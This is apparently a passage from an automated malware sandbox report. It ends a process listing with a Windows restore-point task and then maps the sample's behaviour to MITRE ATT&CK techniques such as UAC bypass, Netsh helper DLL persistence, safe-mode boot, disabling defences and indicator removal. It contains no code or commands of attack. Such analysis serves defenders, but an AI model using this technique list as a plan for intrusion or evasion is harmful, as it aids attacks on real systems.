PID:2152

C:\Windows\system32\srtasks.exe
C:\Windows\system32\srtasks.exe ExecuteScopeRestorePoint /WaitForRestorePoint:2
1⤵
PID:5844

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Scheduled Task

Windows Management Instrumentation

T1047

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Privilege Escalation

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Create or Modify System Process

T1543

Windows Service

T1543.003

Event Triggered Execution

T1546

Netsh Helper DLL

T1546.007

Scheduled Task/Job

T1053

Scheduled Task

Defense Evasion

Abuse Elevation Control Mechanism

T1548

Bypass User Account Control

T1548.002

Direct Volume Access

T1006

File and Directory Permissions Modification

T1222

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Safe Mode Boot

T1562.009

Indicator Removal

T1070

File Deletion

T1070.004

Modify Registry